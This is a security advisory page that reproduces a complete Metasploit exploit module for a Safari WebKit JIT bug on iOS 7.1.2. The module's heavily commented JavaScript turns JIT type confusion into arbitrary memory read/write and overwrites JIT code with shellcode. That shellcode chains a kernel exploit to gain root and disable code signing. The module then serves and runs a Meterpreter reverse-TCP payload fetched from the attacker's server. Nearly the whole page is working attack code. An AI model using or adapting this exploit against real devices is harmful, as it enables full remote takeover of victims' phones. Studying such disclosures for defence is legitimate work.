Safari Webkit For iOS 7.1.2 JIT Optimization Bug

2020.08.15
Credit: timwr
Risk: High
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Post::File include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2', 'Description' => %q{ This module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, obtains root and disables code signing. Finally we download and execute the meterpreter payload. This module has been tested against iOS 7.1.2 on an iPhone 4. }, 'License' => MSF_LICENSE, 'Author' => [ 'kudima', # ishell 'Ian Beer', # CVE-2016-4669 'WanderingGlitch', # CVE-2018-4162 'timwr', # metasploit integration ], 'References' => [ ['CVE', '2016-4669'], ['CVE', '2018-4162'], ['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'], ['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'], ], 'Arch' => ARCH_ARMLE, 'Platform' => 'apple_ios', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' }, 'Targets' => [[ 'Automatic', {} ]], 'DisclosureDate' => 'Aug 25 2016' ) ) register_options( [ OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]), OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ]) ] ) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def exploit_js <<~JS // // Initial notes. // // If we look at publicly available exploits for this kind of // issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore // differently interprets the content of arrays based on // their type, besides object pointers and 64-bit doubles may have // the same representation. // // This is not the case for 32-bit version of JavaScriptCore. // The details are in runtime/JSCJSValue.h. All JSValues are still // 64-bit, but for the cells representing objects // the high 32-bit are always 0xfffffffb (since we only need 32-bit // to represent a pointer), meaning cell is always a NaN in IEEE754 // representation used for doubles and it is not possible to confuse // an cell and a IEEE754 encoded double value. // // Another difference is how the cells are represented // in the version of JavaScriptCore by iOS 7.1.2. // The type of the cell object is determined by m_structure member // at offset 0 which is a pointer to Structure object. // On 64-bit systems, at the time [2], [3] // were published, a 32-bit integer value was used as a structure id. // And it was possible to deterministically predict that id for // specific object layout. // // The exploit outline. // // Let's give a high level description of the steps taken by the // exploit to get to arbitrary code execution. // // 1. We use side effect bug to overwrite butterfly header by confusing // Double array with ArrayStorage and obtain out of bound (oob) read/write // into array butterflies allocation area. // // 2. Use oob read/write to build addrOf/materialize object primitives, // by overlapping ArrayStorage length with object pointer part of a cell // stored in Contiguous array. // // 3. Craft a fake Number object in order to leak real object structure // pointer via a runtime function. // // 4. Use leaked structure pointer to build a fake fake object allowing // as read/write access to a Uint32Array object to obtain arbitrary read/write. // // 5. We overwrite rwx memory used for jit code and redirect execution // to that memory using our arbitrary read/write. function main(loader, macho) { // auxillary arrays to facilitate // 64-bit floats to pointers conversion var ab = new ArrayBuffer(8) var u32 = new Uint32Array(ab); var f64 = new Float64Array(ab); function toF64(hi, lo) { u32[0] = hi; u32[1] = lo; return f64[0]; } function toHILO(f) { f64[0] = f; return [u32[0], u32[1]] } function printF64(f) { var u32 = toHILO(f); return (u32[0].toString(16) + " " + u32[1].toString(16)); } // arr is an object with a butterfly // // cmp is an object we compare with // // v is a value assigned to an indexed property, // gives as ability to change the butterfly function oob_write(arr, cmp, v, i) { arr[0] = 1.1; // place a comparison with an object, // incorrectly modeled as side effects free cmp == 1; // if i less then the butterfly length, // it simply writes the value, otherwise // bails to baseline jit, which is going to // handle the write via a slow path. arr[i] = v; return arr[0]; } function make_oob_array() { var oob_array; // allocate an object var arr = {}; arr.p = 1.1; // allocate butterfly of size 0x38, // 8 bytes header and 6 elements. To get the size // we create an array and inspect its memory // in jsc command line interpreter. arr[0] = 1.1; // toString is triggered during comparison, var x = {toString: function () { // convert the butterfly into an // array storage with two values, // initial 1.1 64-bit at 0 is going to be placed // to m_vector and value at 1000 is placed into // the m_sparceMap arr[1000] = 2.2; // allocate a new butterfly right after // our ArrayStorage. The butterflies are // allocated continuously regardless // of the size. For the array we // get 0x28 bytes, header and 4 elements. oob_array = [1.1]; return '1'; } }; // ArrayStorage buttefly--+ // | // V //-8 -4 0 4 // | pub length | length | m_sparceMap | m_indexBias | // // 8 0xc 0x10 // | m_numValuesInVector | m_padding | m_vector[0] // //0x18 0x20 0x28 // | m_vector[1] | m_vector[2] | m_vector[3] | // // oob_array butterfly // | // V //0x30 0x34 0x38 0x40 0x48 0x50 // | pub length | length | el0 | el1 | el2 | // // We enter the function with arr butterfly // backed up by a regular butterfly, during the side effect // in toString method we turn it into an ArrayStorage, // and allocate a butterfly right after it. So we // hopefully get memory layout as on the diagram above. // // The compiled code for oob_write, being not aware of the // shape change, is going to compare 6 to the ArrayStorage // length (which we set to 1000 in toString) and proceed // to to write at index 6 relative to ArrayStorage butterfly, // overwriting the oob_array butterfly header with 64-bit float // encoded as 0x0000100000001000. Which gives as ability to write // out of bounds of oob_array up to 0x1000 bytes, hence // the name oob_array. var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6); return oob_array; } // returns address of an object function addrOf(o) { // overwrite ArrayStorage public length // with the object pointer oob_array[4] = o; // retrieve the address as ArrayStorage // butterfly public length var r = oobStorage.length; return r; } function materialize(addr) { // replace ArrayStorage public length oobStorage.length = addr; // retrieve the placed address // as an object return oob_array[4]; } function read32(addr) { var lohi = toHILO(rw0Master.rw0_f2); // replace m_buffer with our address rw0Master.rw0_f2 = toF64(lohi[0], addr); var ret = u32rw[0]; // restore rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]); return ret; } function write32(addr, v) { var lohi = toHILO(rw0Master.rw0_f2); rw0Master.rw0_f2 = toF64(lohi[0], addr); // for some reason if we don't do this // and the value is negative as a signed int ( > 0x80000000) // it takes base from a different place u32rw[0] = v & 0xffffffff; rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]); } function testRW32() { var o = [1.1]; print("--------------- testrw32 -------------"); print("len: " + o.length); var bfly = read32(addrOf(o)+4); print("bfly: " + bfly.toString(16)); var len = read32(bfly-8); print("bfly len: " + len.toString(16)); write32(bfly - 8, 0x10); var ret = o.length == 0x10; print("len: " + o.length); write32(bfly - 8, 1); print("--------------- testrw32 -------------"); return ret; } // dump @len dword function dumpAddr(addr, len) { var output = 'addr: ' + addr.toString(16) + "\\n"; for (var i=0; i<len; i++) { output += read32(addr + i*4).toString(16) + " "; if ((i+1) % 2 == 0) { output += "\\n"; } } return output; } // prepare the function we are going to // use to run our macho loader exec_code = "var o = {};"; for (var i=0; i<200; i++) { exec_code += "o.p = 1.1;"; } exec_code += "if (v) alert('exec');"; var exec = new Function('v', exec_code); // force JavaScriptCore to generate jit code // for the function for (var i=0; i<1000; i++) exec(); // create an object with a Double array butterfly var arr = {}; arr.p = 1.1; arr[0] = 1.1; // force DFG optimization for oob_write function, // with a write beyond the allocated storage for (var i=0; i<10000; i++) { oob_write(arr, {}, 1.1, 1); } // prepare a double array which we are going to turn // into an ArrayStorage later on. var oobStorage = []; oobStorage[0] = 1.1; // create an array with oob read/write // relative to its butterfly var oob_array = make_oob_array(); // Allocate an ArrayStorage after oob_array butterfly. oobStorage[1000] = 2.2; // convert into Contiguous storage, so we can materialize // objects oob_array[4] = {}; // allocate two objects with seven inline properties one after another, // for fake object crafting var oo = []; for (var i=0; i<0x10; i++) { o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )}; oo.push(o); } // for some reason if we just do //var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1}; //var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1}; // the objects just get some random addressed far apart, and we need // them allocated one after another. var fakeObjStore = oo.pop(); // we are going to leak Structure pointer for this object var structLeaker = oo.pop(); // eventually we want to use it for read/write into typed array, // and typed array is 0x18 bytes from our experiments. // To cover all 0x18 bytes, we add four out of line properties // to the structure we want to leak. structLeaker.rw0_f1 = 1.1; structLeaker.rw0_f2 = 1.1; structLeaker.rw0_f3 = 1.1; structLeaker.rw0_f4 = 1.1; print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16)); print("structLeaker: " + addrOf(structLeaker).toString(16)); var fakeObjStoreAddr = addrOf(fakeObjStore) // m_typeInfo offset within a Structure class is 0x34 // m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0} // for Number // we want to achieve the following layout for fakeObjStore // // 0 8 0x10 0x18 0x20 0x28 0x30 // | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | // // 0x30 0x34 0x38 0x40 // | fakeObjStoreAddr | 0x00008015 | 1.1 | // // we materialize fakeObjStoreAddr + 0x30 as an object, // As we can see the Structure pointer points back to fakeObjStore, // which is acting as a structure for our object. In that fake // structure object we craft m_typeInfo as if it was a Number object. // At offset +0x34 the Structure objects have m_typeInfo member indicating // the object type. // For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0} // So we place that value at offset 0x34 relative to the fakeObjStore start. fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015); var fakeNumber = materialize(fakeObjStoreAddr + 0x30); // We call a runtime function valueOf on Number, which only verifies // that m_typeInfo field describes a Number object. Then it reads // and returns 64-bit float value at object address + 0x10. // // In our seven properties object, it's // going to be a 64-bit word located right after last property. Since // we have arranged another seven properties object to be placed right // after fakeObjStore, we are going to get first 8 bytes of // that cell object which has the following layout. // 0 4 8 // | m_structure | m_butterfly | var val = Number.prototype.valueOf.call(fakeNumber); // get lower 32-bit of a 64-bit float, which is a structure pointer. var _7pStructAddr = toHILO(val)[1]; print("struct addr: " + _7pStructAddr.toString(16)); // now we are going to use the structure to craft an object // with properties allowing as read/write access to Uint32Array. var aabb = new ArrayBuffer(0x20); // Uint32Array is 0x18 bytes, // + 0xc m_impl // + 0x10 m_storageLength // + 0x14 m_storage var u32rw = new Uint32Array(aabb, 4); // Create a fake object with the structure we leaked before. // So we can r/w to Uint32Array via out of line properties. // The ool properties are placed before the butterfly header, // so we point our fake object butterfly to Uint32Array + 0x28, // to cover first 0x20 bytes via four out of line properties we added earlier var objRW0Store = {p1:toF64(_7pStructAddr, addrOf(u32rw) + 0x28), p2:1.1}; // materialize whatever we put in the first inline property as an object var rw0Master = materialize(addrOf(objRW0Store) + 8); // magic var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1}; for (var i=0; i<8; i++) { read32(addrOf(o)); write32(addrOf(o)+8, 0); } //testRW32(); // JSFunction->m_executable var m_executable = read32(addrOf(exec)+0xc); // m_executable->m_jitCodeForCall var jitCodeForCall = read32(m_executable + 0x14) - 1; print("jit code pointer: " + jitCodeForCall.toString(16)); // Get JSCell::destroy pointer, and pass it // to the code we are going to execute as an argument var n = new Number(1.1); var struct = read32(addrOf(n)); // read methodTable var classInfo = read32(struct + 0x20); // read JSCell::destroy var JSCell_destroy = read32(classInfo + 0x10); print("JSCell_destroy: " + JSCell_destroy.toString(16)); // overwrite jit code of exec function for (var i=0; i<loader.length; i++) { var x = loader[i]; write32(jitCodeForCall+i*4, x); } // pass JSCell::destroy pointer and // the macho file as arguments to our // macho file loader, so it can get dylib cache slide var nextBuf = read32(addrOf(macho) + 0x14); // we pass parameters to the loader as a list of 32-bit words // places right before the start write32(jitCodeForCall-4, JSCell_destroy); write32(jitCodeForCall-8, nextBuf); print("nextBuf: " + nextBuf.toString(16)); // start our macho loader print("executing macho..."); exec(true); print("exec returned"); return; } try { function asciiToUint8Array(str) { var len = Math.floor((str.length + 4)/4) * 4; var bytes = new Uint8Array(len); for (var i=0; i<str.length; i++) { var code = str.charCodeAt(i); bytes[i] = code & 0xff; } return bytes; } // loads base64 encoded payload from the server and converts // it into a Uint32Array function loadAsUint32Array(path) { var xhttp = new XMLHttpRequest(); xhttp.open("GET", path+"?cache=" + new Date().getTime(), false); xhttp.send(); var payload = atob(xhttp.response); payload = asciiToUint8Array(payload); return new Uint32Array(payload.buffer); } var loader = loadAsUint32Array("loader.b64"); var macho = loadAsUint32Array("macho.b64"); setTimeout(function() {main(loader, macho);}, 50); } catch (e) { print(e + "\\n" + e.stack); } JS end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end print_status("Request #{request.uri} from #{request['User-Agent']}") if request.uri.starts_with? '/loader.b64' loader_data = exploit_data('CVE-2016-4669', 'loader') loader_data = Rex::Text.encode_base64(loader_data) send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' }) return elsif request.uri.starts_with? '/macho.b64' loader_data = exploit_data('CVE-2016-4669', 'macho') payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload" payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER') loader_data[payload_url_index, payload_url.length] = payload_url loader_data = Rex::Text.encode_base64(loader_data) send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' }) return elsif request.uri.starts_with? '/payload' print_good('Target is vulnerable, sending payload!') send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' }) return end jscript = exploit_js if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = <<~HTML <html> <body> <script> #{jscript} </script> </body> </html> HTML send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' }) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top